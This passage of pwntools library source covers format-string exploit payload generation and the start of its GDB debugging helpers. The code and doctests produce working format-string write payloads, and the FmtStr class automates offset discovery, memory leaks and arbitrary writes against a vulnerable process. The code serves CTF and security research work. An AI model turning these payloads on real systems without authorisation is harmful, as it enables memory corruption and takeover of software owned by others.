prev[(False,False)]\n#\n# what we don't do:\n#  - create new atoms that cannot be created by merging existing atoms\n#  - optimize based on masks\ndef merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows):\n    \"\"\"\n    Takes a list of atoms and merges consecutive atoms to reduce the number of atoms.\n    For example if you have two atoms ``AtomWrite(0, 1, 1)`` and ``AtomWrite(1, 1, 1)``\n    they can be merged into a single atom ``AtomWrite(0, 2, 0x0101)`` to produce a short format string.\n\n    Arguments:\n        atoms(list): list of atoms to merge\n        sz(int): basic write size in bytes. Atoms of this size are generated without constraints on their values.\n        szmax(int): maximum write size in bytes. No atoms with a size larger than this are generated.\n        numbwritten(int): the value at which the counter starts\n        overflows(int): how many extra overflows (of size sz) to tolerate to reduce the number of atoms\n\n    Examples:\n\n        >>> from pwnlib.fmtstr import *\n        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 2, 8, 0, 1)\n        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]\n        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 1) # not merged since it causes an extra overflow of the 1-byte counter\n        [AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]\n        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 8, 0, 2)\n        [AtomWrite(start=0, size=2, integer=0x101, mask=0xffff)]\n        >>> merge_atoms_overlapping([AtomWrite(0, 1, 1), AtomWrite(1, 1, 1)], 1, 1, 0, 2) # not merged due to szmax\n        [AtomWrite(start=0, size=1, integer=0x1, mask=0xff), AtomWrite(start=1, size=1, integer=0x1, mask=0xff)]\n    \"\"\"\n    if not szmax:\n        szmax = max(SPECIFIER.keys())\n\n    assert 1 <= overflows, \"must allow at least one overflow\"\n    assert sz <= szmax, \"sz must be smaller or equal to szmax\"\n\n    maxwritten = numbwritten + (1 << (8 * sz)) * overflows\n    done = [False for _ in atoms]\n\n    numbwritten_at = [numbwritten for _ in atoms]\n    out = []\n    for idx, atom in enumerate(atoms):\n        if done[idx]: continue\n        numbwritten_here = numbwritten_at[idx]\n\n        # greedily find the best possible write at the current offset\n        # the best write is the one which sets the largest number of target\n        # bytes correctly\n        candidate = AtomWrite(atom.start, 0, 0)\n        best = (atom.size, idx, atom)\n        for nextidx, nextatom in enumerate(atoms[idx:], idx):\n            # if there is no atom immediately following the current candidate\n            # that we haven't written yet, stop\n            if done[nextidx] or candidate.end != nextatom.start:\n                break\n\n            # extend the candidate with the next atom.\n            # check that we are still within the limits and that the candidate\n            # can be written with a format specifier (this excludes non-power-of-2 candidate sizes)\n            candidate = candidate.union(nextatom)\n            if candidate.size not in SPECIFIER: continue\n            if candidate.size > szmax: break\n\n            # now approximate the candidate if it is larger than the always allowed size (sz),\n            # taking the `maxwritten` constraint into account\n            # this ensures that we don't write more than `maxwritten` bytes\n            approxed = candidate\n            score = candidate.size\n            if approxed.size > sz:\n                score, v, m = find_min_hamming_in_range(approxed.size, numbwritten_here, maxwritten, approxed.integer)\n                approxed = candidate.replace(integer=v, mask=m)\n\n            # if the current candidate sets more bytes correctly, save it\n            if score > best[0]:\n                best = (score, nextidx, approxed)\n\n        _, nextidx, best_candidate = best\n        numbwritten_here += best_candidate.compute_padding(numbwritten_here)\n        if numbwritten_here > maxwritten:\n            maxwritten = numbwritten_here\n        offset = 0\n\n        # for all atoms that we merged, check if all bytes are written already to update `done``\n        # also update the numbwritten_at for all the indices covered by the current best_candidate\n        for i, iatom in enumerate(atoms[idx:nextidx+1], idx):\n            shift = iatom.size\n\n            # if there are no parts in the atom's that are not written by the candidate,\n            # mark it as done\n            if not (iatom.mask & (~best_candidate[offset:offset+shift].mask)):\n                done[i] = True\n            else:\n                # numbwritten_at is only relevant for atoms that aren't done yet,\n                # so update it only in that case (done atoms are never processed again)\n                numbwritten_at[i] = max(numbwritten_at[i], numbwritten_here)\n\n            offset += shift\n\n        # emit the best candidate\n        out += [best_candidate]\n    return out\n\ndef overlapping_atoms(atoms):\n    \"\"\"\n    Finds pairs of atoms that write to the same address.\n\n    Basic examples:\n\n        >>> from pwnlib.fmtstr import *\n        >>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(2, 10, 1)])) # no overlaps\n        []\n        >>> list(overlapping_atoms([AtomWrite(0, 2, 0), AtomWrite(1, 2, 1)])) # single overlap\n        [(AtomWrite(start=0, size=2, integer=0x0, mask=0xffff), AtomWrite(start=1, size=2, integer=0x1, mask=0xffff))]\n\n    When there are transitive overlaps, only the largest overlap is returned. For example:\n\n        >>> list(overlapping_atoms([AtomWrite(0, 3, 0), AtomWrite(1, 4, 1), AtomWrite(2, 4, 1)]))\n        [(AtomWrite(start=0, size=3, integer=0x0, mask=0xffffff), AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff)), (AtomWrite(start=1, size=4, integer=0x1, mask=0xffffffff), AtomWrite(start=2, size=4, integer=0x1, mask=0xffffffff))]\n\n    Even though ``AtomWrite(0, 3, 0)`` and ``AtomWrite(2, 4, 1)`` overlap as well that overlap is not returned\n    as only the largest overlap is returned.\n    \"\"\"\n    prev = None\n    for atom in sorted(atoms, key=lambda a: a.start):\n        if not prev:\n            prev = atom\n            continue\n        if prev.end > atom.start:\n            yield prev, atom\n        if atom.end > prev.end:\n            prev = atom\n\nclass AtomQueue(object):\n    def __init__(self, numbwritten):\n        self.queues = { sz: SortedList(key=lambda atom: atom.integer) for sz in SPECIFIER.keys() }\n        self.positions = { sz: 0 for sz in SPECIFIER }\n        self.numbwritten = numbwritten\n\n    def add(self, atom):\n        self.queues[atom.size].add(atom)\n        if atom.integer & SZMASK[atom.size] < self.numbwritten & SZMASK[atom.size]:\n            self.positions[atom.size] += 1\n\n    def pop(self):\n        # find queues that still have items left\n        active_sizes = [ sz for sz,p in self.positions.items() if p < len(self.queues[sz]) ]\n\n        # if all queues are exhausted, reset the one for the lowest size atoms\n        # resetting a queue means the counter overflows (for this size)\n        if not active_sizes:\n            try:\n                sz_reset = min(sz for sz,q in self.queues.items() if q)\n            except ValueError:\n                # all queues are empty, so there are no atoms left\n                return None\n\n            self.positions[sz_reset] = 0\n            active_sizes = [sz_reset]\n\n        # find the queue that requires the least amount of counter change\n        best_size = min(active_sizes, key=lambda sz: self.queues[sz][self.positions[sz]].compute_padding(self.numbwritten))\n        best_atom = self.queues[best_size].pop(self.positions[best_size])\n        self.numbwritten += best_atom.compute_padding(self.numbwritten)\n\n        return best_atom\n\ndef sort_atoms(atoms, numbwritten):\n    \"\"\"\n    This function sorts atoms such that the amount by which the format string counter has to been increased\n    between consecutive atoms is minimized.\n\n    The idea is to reduce the amount of data the the format string has to output to write the desired atoms.\n    For example, directly generating a format string for the atoms ``[AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)]``\n    is suboptimal: we'd first need to output 0xff bytes to get the counter to 0xff and then output 0x100+1 bytes to\n    get it to 0xfe again. If we sort the writes first we only need to output 0xfe bytes and then 1 byte to get to 0xff.\n\n    Arguments:\n        atoms(list): list of atoms to sort\n        numbwritten(int): the value at which the counter starts\n\n    Examples:\n\n        >>> from pwnlib.fmtstr import *\n        >>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0) # the example described above\n        [AtomWrite(start=1, size=1, integer=0xfe, mask=0xff), AtomWrite(start=0, size=1, integer=0xff, mask=0xff)]\n        >>> sort_atoms([AtomWrite(0, 1, 0xff), AtomWrite(1, 1, 0xfe)], 0xff) # if we start with 0xff it's different\n        [AtomWrite(start=0, size=1, integer=0xff, mask=0xff), AtomWrite(start=1, size=1, integer=0xfe, mask=0xff)]\n    \"\"\"\n    # find dependencies\n    #\n    # in this phase, we determine for which writes we need to preserve order to ensure correctness\n    # for example, if we have atoms [a, b] as input and b writes to the same address as a, we cannot reorder that\n    # to [b, a] since then a would overwrite parts of what b wrote.\n    #\n    # a depends on b means: a must happen after b --> depgraph[a] contains b\n    order = { atom: i for i,atom in enumerate(atoms) }\n\n    depgraph = { atom: set() for atom in atoms }\n    rdepgraph = { atom: set() for atom in atoms }\n    for atom1,atom2 in overlapping_atoms(atoms):\n        if order[atom1] < order[atom2]:\n            depgraph[atom2].add(atom1)\n            rdepgraph[atom1].add(atom2)\n        else:\n            depgraph[atom1].add(atom2)\n            rdepgraph[atom2].add(atom1)\n\n    queue = AtomQueue(numbwritten)\n\n    for atom, deps in depgraph.items():\n        if not deps:\n            queue.add(atom)\n\n    out = []\n    while True:\n        atom = queue.pop()\n        if not atom: # we are done\n            break\n\n        out.append(atom)\n\n        # add all atoms that now have no dependencies anymore to the queue\n        for dep in rdepgraph.pop(atom):\n            if atom not in depgraph[dep]:\n                continue\n            depgraph[dep].discard(atom)\n            if not depgraph[dep]:\n                queue.add(dep)\n\n    return out\n\ndef make_payload_dollar(data_offset, atoms, numbwritten=0, countersize=4, no_dollars=False):\n    r'''\n    Makes a format-string payload using glibc's dollar syntax to access the arguments.\n\n    Returns:\n        A tuple (fmt, data) where ``fmt`` are the format string instructions and data are the pointers\n        that are accessed by the instructions.\n\n    Arguments:\n        data_offset(int): format string argument offset at which the first pointer is located\n        atoms(list): list of atoms to execute\n        numbwritten(int): number of byte already written by the printf function\n        countersize(int): size in bytes of the format string counter (usually 4)\n        no_dollars(bool) : flag to generete the payload with or w/o $ notation \n\n    Examples:\n\n        >>> pwnlib.fmtstr.make_payload_dollar(1, [pwnlib.fmtstr.AtomWrite(0x0, 0x1, 0xff)])\n        (b'%255c%1$hhn', b'\\x00\\x00\\x00\\x00')\n    '''\n    data = b\"\"\n    fmt = \"\"\n\n    counter = numbwritten\n\n    if no_dollars:\n        # since we can't dynamically offset, we have to increment manually the parameter index, use %c, so the number of bytes written is predictable\n        fmt += \"%c\" * (data_offset - 1)\n        # every %c write a byte, so we need to keep track of that to have the right pad\n        counter += data_offset - 1\n\n    for idx, atom in enumerate(atoms):\n        # set format string counter to correct value\n        padding = atom.compute_padding(counter)\n        counter = (counter + padding) % (1 << (countersize * 8))\n        if countersize == 32 and counter > 2147483600:\n            log.warn(\"number of written bytes in format string close to 1 << 31. this will likely not work on glibc\")\n        if padding >= (1 << (countersize*8-1)):\n            log.warn(\"padding is negative, this will not work on glibc\")\n\n        # perform write\n        # if the padding is less than 3, it is more convenient to write it : [ len(\"cc\") < len(\"%2c\") ] , this could help save some bytes, if it is 3 it will take the same amout of bytes\n        # we also add ( context.bytes * no_dollars ) because , \"%nccccccccc%n...ptr1ptr2\" is more convenient than %\"n%8c%n...ptr1ccccccccptr2\"\n        if padding < 4 + context.bytes * no_dollars:\n                fmt += \"c\" * padding\n                ## if do not padded with %{n}c  do not need to add something in data to use as argument, since  we are not using a printf argument\n        else: \n            fmt += \"%\" + str(padding) + \"c\"\n\n            if no_dollars:\n                data += b'c' * context.bytes\n                ''' \n                [ @murph12F was here ]\n\n                the data += b'c' * context.bytes , is used to keey the arguments aligned when a %c is performed, so it wont use the actual address to write at\n                examplea stack and payload:\n                    \n                    fmtsr = %44c%hhn%66c%hhn\n\n                    ---------\n                    | addr2 |\n                    ---------\n                    | 0x000 |   \n                    ---------\n                    | addr1 |\n                    ---------\n                    | 0x000 | <-- (rsp)\n                    ---------\n                \n                    in this case the the first %44c will use the current arugument used pointed by rsp ( 0 ), and increment  rsp\n\n                    ---------\n                    | addr2 |\n                    ---------\n                    | 0X000 |   \n                    ---------\n                    | addr1 | <-- (rsp)\n                    ---------\n                    | 0x000 | \n                    ---------\n\n                    now it will perform the %hhn, and it will correctly use the addr1 argument\n                '''\n            \n        if no_dollars:\n            fmt += \"%\" +  SPECIFIER[atom.size]\n        else:\n            fmt += \"%\" + str(data_offset + idx) + \"$\" + SPECIFIER[atom.size]\n\n        data += pack(atom.start)\n\n    return fmt.encode(), data\n\ndef make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes):\n    \"\"\"\n    Builds an optimized list of atoms for the given format string payload parameters.\n    This function tries to optimize two things:\n\n    - use the fewest amount of possible atoms\n    - sort these atoms such that the amount of padding needed between consecutive elements is small\n\n    Together this should produce short format strings.\n\n    Arguments:\n        writes(dict): dict with addr, value ``{addr: value, addr2: value2}``\n        sz(int): basic write size in bytes. Atoms of this size are generated without constraints on their values.\n        szmax(int): maximum write size in bytes. No atoms with a size larger than this are generated (ignored for strategy 'fast')\n        numbwritten(int): number of byte already written by the printf function\n        overflows(int): how many extra overflows (of size sz) to tolerate to reduce the length of the format string\n        strategy(str): either 'fast' or 'small'\n        badbytes(str): bytes that are not allowed to appear in the payload\n    \"\"\"\n    all_atoms = []\n    for address, data in normalize_writes(writes):\n        atoms = make_atoms_simple(address, data, badbytes)\n        if strategy == 'small':\n            atoms = merge_atoms_overlapping(atoms, sz, szmax, numbwritten, overflows)\n        elif strategy == 'fast':\n            atoms = merge_atoms_writesize(atoms, sz)\n        else:\n            raise ValueError(\"strategy must be either 'small' or 'fast'\")\n        atoms = sort_atoms(atoms, numbwritten)\n        all_atoms += atoms\n    return all_atoms\n\ndef fmtstr_split(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy=\"small\", badbytes=frozenset(), no_dollars=False):\n    \"\"\"\n    Build a format string like fmtstr_payload but return the string and data separately.\n    \"\"\"\n    if write_size not in ['byte', 'short', 'int']:\n        log.error(\"write_size must be 'byte', 'short' or 'int'\")\n\n    if write_size_max not in ['byte', 'short', 'int', 'long']:\n        log.error(\"write_size_max must be 'byte', 'short', 'int' or 'long'\")\n\n    sz = WRITE_SIZE[write_size]\n    szmax = WRITE_SIZE[write_size_max]\n    atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)\n\n    return make_payload_dollar(offset, atoms, numbwritten, no_dollars=no_dollars)\n\ndef fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy=\"small\", badbytes=frozenset(), offset_bytes=0, no_dollars=False):\n    r\"\"\"fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') -> str\n\n    Makes payload with given parameter.\n    It can generate payload for 32 or 64 bits architectures.\n    The size of the addr is taken from ``context.bits``\n\n    The overflows argument is a format-string-length to output-amount tradeoff:\n    Larger values for ``overflows`` produce shorter format strings that generate more output at runtime.\n\n    The writes argument is a dictionary with address/value pairs like ``{addr: value, addr2: value2}``.\n    If the value is an ``int`` datatype, it will be automatically casted into a bytestring with the length of a ``long`` (8 bytes in 64-bit, 4 bytes in 32-bit).\n    If a specific number of bytes is intended to be written (such as only a single byte, single short, or single int and not an entire long),\n    then provide a bytestring like ``b'\\x37\\x13'`` or ``p16(0x1337)``.\n    Note that the ``write_size`` argument does not determine **total** bytes written, only the size of each consecutive write.\n\n    Arguments:\n        offset(int): the first formatter's offset you control\n        writes(dict): dict with addr, value ``{addr: value, addr2: value2}``\n        numbwritten(int): number of byte already written by the printf function\n        write_size(str): must be ``byte``, ``short`` or ``int``. Tells if you want to write byte by byte, short by short or int by int (hhn, hn or n)\n        overflows(int): how many extra overflows (at size sz) to tolerate to reduce the length of the format string\n        strategy(str): either 'fast' or 'small' ('small' is default, 'fast' can be used if there are many writes)\n        no_dollars(bool) : flag to generete the payload with or w/o $ notation \n    Returns:\n        The payload in order to do needed writes\n\n    Examples:\n\n        >>> context.clear(arch = 'amd64')\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')\n        b'%322419390c%4$llnaaaabaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\t>>> fmtstr_payload(1, {0x0: p32(0x1337babe)}, write_size='int')\n        b'%322419390c%3$na\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')\n        b'%47806c%5$lln%22649c%6$hnaaaabaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')\n        b'%190c%7$lln%85c%8$hhn%36c%9$hhn%131c%10$hhnaaaab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(6, {0x8: 0x55d15d2004a0}, badbytes=b'\\n')\n        b'%1184c%14$lln%49c%15$hhn%6963c%16$hn%81c%17$hhn%8c%18$hhnaaaabaa\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> context.clear(arch = 'i386')\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='int')\n        b'%322419390c%5$na\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='short')\n        b'%4919c%7$hn%42887c%8$hna\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: 0x1337babe}, write_size='byte')\n        b'%19c%12$hhn%36c%13$hhn%131c%14$hhn%4c%15$hhn\\x03\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')\n        b'c%3$naaa\\x00\\x00\\x00\\x00'\n\t>>> fmtstr_payload(1, {0x0: b'\\x01'}, write_size='byte')\n\tb'c%3$hhna\\x00\\x00\\x00\\x00'\n        >>> fmtstr_payload(1, {0x0: b\"\\xff\\xff\\x04\\x11\\x00\\x00\\x00\\x00\"}, write_size='short')\n        b'%327679c%7$lln%18c%8$hhn\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00'\n        >>> fmtstr_payload(10, {0x404048 : 0xbadc0ffe, 0x40403c : 0xdeadbeef}, no_dollars=True)\n        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%125c%hhn%17c%hhn%32c%hhn%17c%hhn%203c%hhn%34c%hhn%3618c%hnacccc>@@\\x00cccc=@@\\x00cccc?@@\\x00cccc<@@\\x00ccccK@@\\x00ccccJ@@\\x00ccccH@@\\x00'\n        >>> fmtstr_payload(6, {0x404048 : 0xbadbad00}, no_dollars=True)\n        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%229c%hhn%173c%hhn%13c%hhn%33c%hhnccccH@@\\x00ccccI@@\\x00ccccK@@\\x00ccccJ@@\\x00'\n        >>> fmtstr_payload(6, {0x4040 : 0xbadbad00, 0x4060: 0xbadbad02}, no_dollars=True)\n        b'%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%212c%hhn%173c%hhn%13c%hhn%33c%hhn%39c%hhn%171c%hhn%13c%hhn%33c%hhnacccc@@\\x00\\x00ccccA@\\x00\\x00ccccC@\\x00\\x00ccccB@\\x00\\x00cccc`@\\x00\\x00cccca@\\x00\\x00ccccc@\\x00\\x00ccccb@\\x00\\x00'\n    \"\"\"\n    sz = WRITE_SIZE[write_size]\n    szmax = WRITE_SIZE[write_size_max]\n    all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)\n\n    fmt = b\"\"\n    for _ in range(1000000):\n        data_offset = (offset_bytes + len(fmt)) // context.bytes\n        fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten, no_dollars=no_dollars)\n        fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)\n\n        if len(fmt) + offset_bytes == data_offset * context.bytes:\n            break\n    else:\n        raise RuntimeError(\"this is a bug ... format string building did not converge\")\n\n    return fmt + data\n\nclass FmtStr(object):\n    \"\"\"\n    Provides an automated format string exploitation.\n\n    It takes a function which is called every time the automated\n    process want to communicate with the vulnerable process. this\n    function takes a parameter with the payload that you have to\n    send to the vulnerable process and must return the process\n    returns.\n\n    If the `offset` parameter is not given, then try to find the right\n    offset by leaking stack data.\n\n    Arguments:\n            execute_fmt(function): function to call for communicate with the vulnerable process\n            offset(int): the first formatter's offset you control\n            padlen(int): size of the pad you want to add before the payload\n            numbwritten(int): number of already written bytes\n\n    \"\"\"\n\n    def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0, badbytes=frozenset(), no_dollars=False):\n        self.execute_fmt = execute_fmt\n        self.offset = offset\n        self.padlen = padlen\n        self.no_dollars = no_dollars\n        self.numbwritten = numbwritten\n        self.badbytes = badbytes\n\n        if self.offset is None:\n            self.offset, self.padlen = self.find_offset()\n            log.info(\"Found format string offset: %d\", self.offset)\n\n        self.writes = {}\n        self.leaker = MemLeak(self._leaker)\n\n    def leak_stack(self, offset, prefix=b\"\"):\n        if self.no_dollars:\n            payload = b'%c' * (offset - 1) + b'START%pEND'\n        else:\n            payload = b\"START%%%d$pEND\" % offset\n\n        leak = self.execute_fmt(prefix + payload)\n        try:\n            leak = re.findall(br\"START(.*?)END\", leak, re.MULTILINE | re.DOTALL)[0]\n            leak = int(leak, 16)\n        except ValueError:\n            leak = 0\n        except IndexError:\n            log.error(\"Cannot leak anything: exec_fmt not returning formatted data\")\n        return leak\n\n    def find_offset(self):\n        marker = cyclic(context.bytes + 3)\n        for off in range(1,1000):\n            leak = self.leak_stack(off, marker)\n            leak = pack(leak)\n\n            pad = cyclic_find(leak[:4])\n            if 0 <= pad < context.bytes:\n                return off, pad\n        else:\n            log.error(\"Could not find offset to format string on stack\")\n            return None, None\n\n    def _leaker(self, addr):\n        # Hack: elfheaders often start at offset 0 in a page,\n        # but we often can't leak addresses containing null bytes,\n        # and the page below elfheaders is often not mapped.\n        # Thus the solution to this problem is to check if the next 3 bytes are\n        # \"ELF\" and if so we lie and leak \"\\x7f\"\n        # unless it is leaked otherwise.\n        if addr & 0xfff == 0 and self.leaker._leak(addr+1, 3, False) == b\"ELF\":\n            return b\"\\x7f\"\n\n        max_len = self.padlen + 8 + context.bytes\n        for _ in range(33):\n            offset = self.offset + max_len // context.bytes\n            if self.no_dollars:\n                payload = b'%c' * (offset - 1) + b'START%sEND'\n            else:\n                payload = b\"START%%%d$sEND\" % offset\n            if len(payload) > max_len:\n                max_len += align(len(payload) - max_len, context.bytes)\n            else:\n                break\n        else:\n            raise RuntimeError(\"this is a bug ... format string building did not converge\")\n\n        fmtstr = fit({\n          self.padlen: {\n              0: payload,\n              max_len: addr\n          }\n        })\n\n        leak = self.execute_fmt(fmtstr)\n        leak = re.findall(br\"START(.*)END\", leak, re.MULTILINE | re.DOTALL)[0]\n\n        leak += b\"\\x00\"\n\n        return leak\n\n    def execute_writes(self):\n        \"\"\"execute_writes() -> None\n\n        Makes payload and send it to the vulnerable process\n\n        Returns:\n            None\n\n        \"\"\"\n        fmtstr = randoms(self.padlen).encode()\n        fmtstr += fmtstr_payload(self.offset, self.writes, numbwritten=self.padlen + self.numbwritten, badbytes=self.badbytes, no_dollars=self.no_dollars, write_size='byte')\n        self.execute_fmt(fmtstr)\n        self.writes = {}\n\n    def write(self, addr, data):\n        r\"\"\"write(addr, data) -> None\n\n        In order to tell : I want to write ``data`` at ``addr``.\n\n        Arguments:\n            addr(int): the address where you want to write\n            data(int or bytes): the data that you want to write ``addr``\n\n        Returns:\n            None\n\n        Examples:\n\n            >>> def send_fmt_payload(payload):\n            ...     print(repr(payload))\n            ...\n            >>> f = FmtStr(send_fmt_payload, offset=5)\n            >>> f.write(0x08040506, 0x1337babe)\n            >>> f.execute_writes()\n            b'%19c%16$hhn%36c%17$hhn%131c%18$hhn%4c%19$hhn\\t\\x05\\x04\\x08\\x08\\x05\\x04\\x08\\x07\\x05\\x04\\x08\\x06\\x05\\x04\\x08'\n            >>> f2 = FmtStr(send_fmt_payload, offset=5)\n            >>> f2.write(0x08040506, p16(0x1337))\n            >>> f2.execute_writes()\n            b'%19c%11$hhn%36c%12$hhnaa\\x07\\x05\\x04\\x08\\x06\\x05\\x04\\x08'\n\n        \"\"\"\n        self.writes[addr] = data\n"
  },
  {
    "path": "pwnlib/gdb.py",
    "content": "\"\"\"\nDuring exploit development, it is frequently useful to debug the\ntarget binary under GDB.\n\nPwntools makes this easy-to-do with a handful of helper routines, designed\nto make your exploit-debug-update cycles much faster.\n\nUseful Functions\n----------------\n\n- :func:`attach` - Attach to an existing process\n- :func:`debug` - Start a new process under a debugger, stopped at the first instruction\n- :func:`debug_shellcode` - Build a binary with the provided shellcode, and start it under a debugger\n\nDebugging Tips\n--------------\n\nThe :func:`attach` and :func:`debug` functions will likely be your bread and\nbutter for debugging.\n\nBoth allow you to provide a script to pass to GDB when it is started, so that\nit can automatically set your breakpoints.\n\nAttaching to Processes\n~~~~~~~~~~~~~~~~~~~~~~\n\nTo attach to an existing process, just use :func:`attach`.  It is surprisingly\nversatile, and can attach to a :class:`.process` for simple\nbinaries, or will automatically find the correct process to attach to for a\nforking server, if given a :class:`.remote` object.\n\nSpawning New Processes\n~~~~~~~~~~~~~~~~~~~~~~\n\nAttaching to processes with :func:`attach` is useful, but the state the process\nis in may vary.  If you need to attach to a process very early, and debug it from\nthe very first instruction (or even the start of ``main``), you instead should use\n:func:`debug`.\n\nWhen you use :func:`debug`, the return value is a :class:`.tube` object\nthat you interact with exactly like normal.\n\nUsing GDB Python API\n~~~~~~~~~~~~~~~~~~~~\n\nGDB provides Python API, which is documented at\nhttps://sourceware.org/gdb/onlinedocs/gdb/Python-API.html. Pwntools allows you\nto call it right from the exploit, without having to write a gdbscript. This is\nuseful for inspecting program state, e.g. asserting that leaked values are\ncorrect, or that certain packets trigger a particular code path or put the heap\nin a desired state.\n\nPass ``api=True`` to :func:`attach` or :func:`debug` in order to enable GDB\nPython API access. Pwntools will then connect to GDB using RPyC library:\nhttps://rpyc.readthedocs.io/en/latest/.\n\nAt the moment this is an experimental feature with the following limitations:\n\n- Only Python 3 is supported.\n\n  Well, technically that's not quite true. The real limitation is that your\n  GDB's Python interpreter major version should be the same as that of\n  Pwntools. However, most GDBs use Python 3 nowadays.\n\n  Different minor versions are allowed as long as no incompatible values are\n  sent in either direction. See\n  https://rpyc.readthedocs.io/en/latest/install.html#cross-interpreter-compatibility\n  for more information.\n\n  Use\n\n  ::\n\n      $ gdb -batch -ex 'python import sys; print(sys.version)'\n\n  in order to check your GDB's Python version.\n- If your GDB uses a different Python interpreter than Pwntools (for example,\n  because you run Pwntools out of a virtualenv), you should install ``rpyc``\n  package into its ``sys.path``. Use\n\n  ::\n\n      $ gdb -batch -ex 'python import rpyc'\n\n  in order to check whether this is necessary.\n- Only local processes are supported.\n- It is not possible to tell whether ``gdb.execute('continue')`` will be\n  executed synchronously or asynchronously (in gdbscripts it is always\n  synchronous). Therefore it is recommended to use either the explicitly\n  synchronous :func:`pwnlib.gdb.Gdb.continue_and_wait` or the explicitly\n  asynchronous :func:`pwnlib.gdb.Gdb.continue_nowait` instead.\n\nTips and Troubleshooting\n------------------------\n\n``NOPTRACE`` magic argument\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIt's quite cumbersom to comment and un-comment lines containing `attach`.\n\nYou can cause these lines to be a no-op by running your script with the\n``NOPTRACE`` argument appended, or with ``PWNLIB_NOPTRACE=1`` in the environment.\n\n::\n\n    $ python exploit.py NOPTRACE\n    [+] Starting local process '/bin/bash': Done\n    [!] Skipping debug attach since context.noptrace==True\n    ...\n\nKernel Yama ptrace_scope\n~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe Linux kernel v3.4 introduced a security mechanism called ``ptrace_scope``,\nwhich is intended to prevent processes from debugging eachother unless there is\na direct parent-child relationship.\n\nThis causes some issues with the normal Pwntools workflow, since the process\nhierarchy looks like this:\n\n::\n\n    python ---> target\n           `--> gdb\n\nNote that ``python`` is the parent of ``target``, not ``gdb``.\n\nIn order to avoid this being a problem, Pwntools uses the function\n``prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY)``.  This disables Yama\nfor any processes launched by Pwntools via :class:`.process` or via\n:meth:`.ssh.process`.\n\nOlder versions of Pwntools did not perform the ``prctl`` step, and\nrequired that the Yama security feature was disabled systemwide, which\nrequires ``root`` access.\n\nMember Documentation\n===============================\n\"\"\"\nimport os\nimport platform\nimport psutil\nimport random\nimport re\nimport socket\nimport tempfile\nfrom threading import Event\nimport time\n\nfrom pwnlib import adb\nfrom pwnlib import atexit\nfrom pwnlib import elf\nfrom pwnlib import qemu\nfrom pwnlib import tubes\nfrom pwnlib.asm import _bfdname\nfrom pwnlib.asm import make_elf\nfrom pwnlib.asm import make_elf_from_assembly\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.util import misc\nfrom pwnlib.util import packing\nfrom pwnlib.util import proc\n\nlog = getLogger(__name__)\n\n@LocalContext\ndef debug_assembly(asm, gdbscript=None, vma=None, api=False):\n    r\"\"\"debug_assembly(asm, gdbscript=None, vma=None, api=False) -> tube\n\n    Creates an ELF file, and launches it under a debugger.\n\n    This is identical to debug_shellcode, except that\n    any defined symbols are available in GDB, and it\n    saves you the explicit call to asm().\n\n    Arguments:\n        asm(str): Assembly code to debug\n        gdbscript(str): Script to 